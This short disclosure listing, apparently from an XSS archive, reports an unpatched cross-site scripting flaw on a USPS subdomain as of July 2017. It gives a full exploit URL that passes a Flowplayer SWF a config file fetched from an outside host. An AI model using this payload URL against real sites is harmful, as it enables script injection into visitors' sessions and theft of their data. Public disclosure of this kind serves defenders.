gopost.usps.com XSS vulnerability

Vulnerable URL: https://gopost.usps.com/media/video/flowplayer/swf/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...